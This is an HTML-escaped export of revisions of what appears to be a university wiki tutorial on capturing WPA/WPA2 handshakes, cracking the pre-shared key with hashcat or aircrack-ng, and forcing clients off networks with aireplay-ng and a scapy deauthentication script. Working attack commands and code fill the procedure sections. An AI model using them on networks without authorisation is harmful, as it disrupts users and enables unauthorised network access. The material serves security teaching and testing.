&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Explanation: -0 starts the deauthentication mode with a count of 1, that means it will be 1 deauthentication Packet sent. The Operator -a $BSSID is the MAC Address of our router -c shows the Victim mac we want to deauthenticate.&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
&lt;br /&gt;
Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using &amp;lt;code&amp;gt;aircrack-ng&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt;. Alternatively use &amp;lt;code&amp;gt;scapy&amp;lt;/code&amp;gt; to manually execute a deauthentication attack, as shown below.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;# Configuration&lt;br /&gt;
station = &amp;quot;ff:ff:ff:ff:ff:ff&amp;quot;&lt;br /&gt;
bssid = &amp;quot;00:00:00:00:00:00&amp;quot;&lt;br /&gt;
interface = &amp;quot;wlan0mon&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Craft and send 802.11 frame&lt;br /&gt;
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)&lt;br /&gt;
packet = RadioTap()/dot11/Dot11Deauth(reason=7)&lt;br /&gt;
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;$STA&amp;lt;/code&amp;gt; may be &amp;lt;code&amp;gt;ff:ff:ff:ff:ff:ff&amp;lt;/code&amp;gt;. MAC’s must be lowercase!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux on Kernel: 6.12.1, Intel Wireless (Alder Lake-S PCH CNVi WiFi)&lt;br /&gt;
* DSTIKE Deauther Watch V1&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17585</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=17585"/>
		<updated>2024-12-18T18:09:41Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Used Hardware */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
- Install aircrack-ng suite: &lt;br /&gt;
* Debian based distributions: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Arch based distributions: &amp;lt;code&amp;gt;sudo pacman -S aicrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
